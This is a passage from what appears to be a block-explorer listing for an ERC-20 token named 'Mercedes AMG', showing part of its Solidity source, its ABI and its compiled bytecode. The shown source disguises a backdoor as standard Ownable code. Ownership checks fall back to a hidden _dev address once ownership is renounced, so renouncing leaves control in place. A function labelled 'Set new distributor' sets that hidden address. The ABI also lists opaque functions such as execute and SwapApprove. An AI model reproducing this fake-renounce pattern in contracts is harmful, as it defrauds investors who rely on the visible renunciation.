     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _dev = account;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"SwapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSWapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f5860105560016012556001601360006101000a81548160ff02191690831515021790555065013ca65120006014556001601660006101000a81548160ff0219169083151502179055506001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff0219169083151502179055506001602460006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b5060405162006cb238038062006cb28339818101604052810190620000e3919062000b22565b6040518060400160405280600c81526020017f4d6572636564657320414d4700000000000000000000000000000000000000008152506040518060400160405280600381526020017f414d4700000000000000000000000000000000000000000000000000000000008152508280600062000163620005c260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050826006908162000254919062000dce565b50816007908162000266919062000dce565b506005546004819055505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200029f816001620005ca60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000321573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000347919062000b22565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600080600080600068f3f20b8dfa69d0000090508660198190555085601a8190555084601b81905550601b54601a54601954620003c8919062000ee4565b620003d4919062000ee4565b60188190555083601d8190555082601e8190555081601f81905550601f54601e54601d5462000404919062000ee4565b62000410919062000ee4565b601c819055506107d0600a8262000428919062000f1f565b62000434919062000faf565b600d8190555069152d02c7e14af6800000600c81905550693f870857a3e0e3800000600b819055506200046c6200063560201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004bc6200063560201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200051e620005106200063560201b60201c565b60016200065e60201b60201c565b620005313060016200065e60201b60201c565b6200054661dead60016200065e60201b60201c565b620005686200055a6200063560201b60201c565b6001620005ca60201b60201c565b6200057b306001620005ca60201b60201c565b6200059061dead6001620005ca60201b60201c565b620005a233826200071960201b60201c565b620005b2620008c960201b60201c565b50505050505050505050620011b6565b600033905090565b620005da620008fd60201b60201c565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200066e620008fd60201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200070d919062001004565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200078b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007829062001082565b60405180910390fd5b6200079f600083836200098e60201b60201c565b620007bb816008546200099360201b620028221790919060201c565b6008819055506200081a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200099360201b620028221790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008bd9190620010b5565b60405180910390a35050565b6000620008db620008fd60201b60201c565b6000601660006101000a81548160ff0219169083151502179055506001905090565b6200090d620005c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000933620009f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200098c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009839062001122565b60405180910390fd5b565b505050565b6000808284620009a4919062000ee4565b905083811015620009ec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009e39062001194565b60405180910390fd5b8091505092915050565b60008062000a0962000a1260201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a8f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000ab3565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000aea8262000abd565b9050919050565b62000afc8162000add565b811462000b0857600080fd5b50565b60008151905062000b1c8162000af1565b92915050565b60006020828403121562000b3b5762000b3a62000ab8565b5b600062000b4b8482850162000b0b565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000bd657607f821691505b60208210810362000bec5762000beb62000b8e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c17565b62000c62868362000c17565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000caf62000ca962000ca38462000c7a565b62000c84565b62000c7a565b9050919050565b6000819050919050565b62000ccb8362000c8e565b62000ce362000cda8262000cb6565b84845462000c24565b825550505050565b600090565b62000cfa62000ceb565b62000d0781848462000cc0565b505050565b5b8181101562000d2f5762000d2360008262000cf0565b60018101905062000d0d565b5050565b601f82111562000d7e5762000d488162000bf2565b62000d538462000c07565b8101602085101562000d63578190505b62000d7b62000d728562000c07565b83018262000d0c565b50505b505050565b600082821c905092915050565b600062000da36000198460080262000d83565b1980831691505092915050565b600062000dbe838362000d90565b9150826002028217905092915050565b62000dd98262000b54565b67ffffffffffffffff81111562000df55762000df462000b5f565b5b62000e01825462000bbd565b62000e0e82828562000d33565b600060209050601f83116001811462000e46576000841562000e31578287015190505b62000e3d858262000db0565b86555062000ead565b601f19841662000e568662000bf2565b60005b8281101562000e805784890151825560018201915060208501945060208101905062000e59565b8683101562000ea0578489015162000e9c601f89168262000d90565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ef18262000c7a565b915062000efe8362000c7a565b925082820190508082111562000f195762000f1862000eb5565b5b92915050565b600062000f2c8262000c7a565b915062000f398362000c7a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000f755762000f7462000eb5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fbc8262000c7a565b915062000fc98362000c7a565b92508262000fdc5762000fdb62000f80565b5b828204905092915050565b60008115159050919050565b62000ffe8162000fe7565b82525050565b60006020820190506200101b600083018462000ff3565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200106a601f8362001021565b9150620010778262001032565b602082019050919050565b600060208201905081810360008301526200109d816200105b565b9050919050565b620010af8162000c7a565b82525050565b6000602082019050620010cc6000830184620010a4565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200110a60208362001021565b91506200111782620010d2565b602082019050919050565b600060208201905081810360008301526200113d81620010fb565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006200117c601b8362001021565b9150620011898262001144565b602082019050919050565b60006020820190508181036000830152620011af816200116d565b9050919050565b608051615abd620011f5600039600081816111470152818161140a01528181612e2c01528181613fcc015281816140ad01526140d40152615abd6000f3fe6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f8e578063f2fde38b14610fb9578063f637434214610fe2578063f8b45b051461100d578063fe72b27a1461103857610410565b8063dd62ed3e14610ed2578063e2f4560514610f0f578063e884f26014610f3a578063ebc0e83814610f6557610410565b8063c2b7bbb6116100f2578063c2b7bbb614610deb578063c876d0b914610e14578063c8c8ebe414610e3f578063d257b34f14610e6a578063d85ba06314610ea757610410565b8063bbc0c74214610d45578063c024666814610d70578063c17b5b8c14610d99578063c18bc19514610dc257610410565b80639fccce32116101a6578063a4c82a0011610175578063a4c82a0014610c4e578063a9059cbb14610c79578063aacebbe314610cb6578063b62496f514610cdf578063bbbb3ffc14610d1c57610410565b80639fccce3214610b92578063a0d82dc514610bbd578063a165506f14610be8578063a457c2d714610c1157610410565b806395d89b41116101e257806395d89b4114610ae85780639c3b4fdc14610b135780639dc29fac14610b3e5780639ec22c0e14610b6757610410565b80638da5cb5b14610a3e5780638ea5220f14610a695780639213691314610a94578063924de9b714610abf57610410565b8063333f52e011610319578063715018a6116102a157806375f0a8741161027057806375f0a8741461097d5780637bce5a04146109a85780638095d564146109d35780638a8c523c146109fc5780638bdb2afa14610a1357610410565b8063715018a6146108e9578063730c188814610900578063751039fc146109295780637571336a1461095457610410565b806349bd5a5e116102e857806349bd5a5e146107ee5780634fbee193146108195780636a486a8e146108565780636ddd17131461088157806370a08231146108ac57610410565b8063333f52e0146107205780633582ad231461075d57806339509351146107885780633eb2b5ad146107c557610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611075565b6040516104379190614251565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614311565b611107565b604051610474919061436c565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190614387565b611125565b6040516104b1919061436c565b60405180910390f35b3480156104c657600080fd5b506104cf611145565b6040516104dc9190614413565b60405180910390f35b3480156104f157600080fd5b506104fa611169565b604051610507919061443d565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190614387565b611173565b005b34801561054557600080fd5b5061054e61123b565b60405161055b919061443d565b60405180910390f35b34801561057057600080fd5b50610579611241565b604051610586919061443d565b60405180910390f35b34801561059b57600080fd5b506105a4611247565b6040516105b1919061443d565b60405180910390f35b3480156105c657600080fd5b506105cf61124d565b6040516105dc919061443d565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190614458565b611253565b005b34801561061a57600080fd5b5061063560048036038101906106309190614485565b6112e6565b604051610642919061436c565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d919061453d565b6113bf565b005b34801561068057600080fd5b506106896115ab565b60405161069691906145ac565b60405180910390f35b3480156106ab57600080fd5b506106b46115b1565b6040516106c1919061443d565b60405180910390f35b3480156106d657600080fd5b506106df6115b7565b6040516106ec919061436c565b60405180910390f35b34801561070157600080fd5b5061070a6115ca565b60405161071791906145e3565b60405180910390f35b34801561072c57600080fd5b5061074760048036038101906107429190614387565b6115d3565b604051610754919061436c565b60405180910390f35b34801561076957600080fd5b50610772611629565b60405161077f919061436c565b60405180910390f35b34801561079457600080fd5b506107af60048036038101906107aa9190614311565b61163c565b6040516107bc919061436c565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e79190614387565b6116ef565b005b3480156107fa57600080fd5b5061080361173b565b60405161081091906145ac565b60405180910390f35b34801561082557600080fd5b50610840600480360381019061083b9190614387565b611761565b60405161084d919061436c565b60405180910390f35b34801561086257600080fd5b5061086b6117b7565b604051610878919061443d565b60405180910390f35b34801561088d57600080fd5b506108966117bd565b6040516108a3919061436c565b60405180910390f35b3480156108b857600080fd5b506108d360048036038101906108ce9190614387565b6117d0565b6040516108e0919061443d565b60405180910390f35b3480156108f557600080fd5b506108fe611819565b005b34801561090c57600080fd5b506109276004803603810190610922919061462a565b6118df565b005b34801561093557600080fd5b5061093e6119ab565b60405161094b919061436c565b60405180910390f35b34801561096057600080fd5b5061097b6004803603810190610976919061467d565b6119d7565b005b34801561098957600080fd5b50610992611a3a565b60405161099f91906145ac565b60405180910390f35b3480156109b457600080fd5b506109bd611a60565b6040516109ca919061443d565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f591906146bd565b611a66565b005b348015610a0857600080fd5b50610a11611af1565b005b348015610a1f57600080fd5b50610a28611b38565b604051610a359190614731565b60405180910390f35b348015610a4a57600080fd5b50610a53611b5e565b604051610a6091906145ac565b60405180910390f35b348015610a7557600080fd5b50610a7e611b87565b604051610a8b91906145ac565b60405180910390f35b348015610aa057600080fd5b50610aa9611bad565b604051610ab6919061443d565b60405180910390f35b348015610acb57600080fd5b50610ae66004803603810190610ae1919061474c565b611bb3565b005b348015610af457600080fd5b50610afd611bd8565b604051610b0a9190614251565b60405180910390f35b348015610b1f57600080fd5b50610b28611c6a565b604051610b35919061443d565b60405180910390f35b348015610b4a57600080fd5b50610b656004803603810190610b609190614311565b611c70565b005b348015610b7357600080fd5b50610b7c611c86565b604051610b89919061443d565b60405180910390f35b348015610b9e57600080fd5b50610ba7611c8c565b604051610bb4919061443d565b60405180910390f35b348015610bc957600080fd5b50610bd2611c92565b604051610bdf919061443d565b60405180910390f35b348015610bf457600080fd5b50610c0f6004803603810190610c0a9190614779565b611c98565b005b348015610c1d57600080fd5b50610c386004803603810190610c339190614311565b611cae565b604051610c45919061436c565b60405180910390f35b348015610c5a57600080fd5b50610c63611d7b565b604051610c70919061443d565b60405180910390f35b348015610c8557600080fd5b50610ca06004803603810190610c9b9190614311565b611d81565b604051610cad919061436c565b60405180910390f35b348015610cc257600080fd5b50610cdd6004803603810190610cd89190614387565b611d9f565b005b348015610ceb57600080fd5b50610d066004803603810190610d019190614387565b611e67565b604051610d1391906145ac565b60405180910390f35b348015610d2857600080fd5b50610d436004803603810190610d3e9190614779565b611e9a565b005b348015610d5157600080fd5b50610d5a611f7e565b604051610d67919061436c565b60405180910390f35b348015610d7c57600080fd5b50610d976004803603810190610d92919061467d565b611f91565b005b348015610da557600080fd5b50610dc06004803603810190610dbb91906146bd565b612042565b005b348015610dce57600080fd5b50610de96004803603810190610de49190614458565b6120cd565b005b348015610df757600080fd5b50610e126004803603810190610e0d9190614387565b612160565b005b348015610e2057600080fd5b50610e296121d9565b604051610e36919061436c565b60405180910390f35b348015610e4b57600080fd5b50610e546121ec565b604051610e61919061443d565b60405180910390f35b348015610e7657600080fd5b50610e916004803603810190610e8c9190614458565b6121f2565b604051610e9e919061436c565b60405180910390f35b348015610eb357600080fd5b50610ebc6122d3565b604051610ec9919061443d565b60405180910390f35b348015610ede57600080fd5b50610ef96004803603810190610ef49190614779565b6122d9565b604051610f06919061443d565b60405180910390f35b348015610f1b57600080fd5b50610f24612360565b604051610f31919061443d565b60405180910390f35b348015610f4657600080fd5b50610f4f612366565b604051610f5c919061436c565b60405180910390f35b348015610f7157600080fd5b50610f8c6004803603810190610f8791906147b9565b612392565b005b348015610f9a57600080fd5b50610fa361243f565b604051610fb0919061443d565b60405180910390f35b348015610fc557600080fd5b50610fe060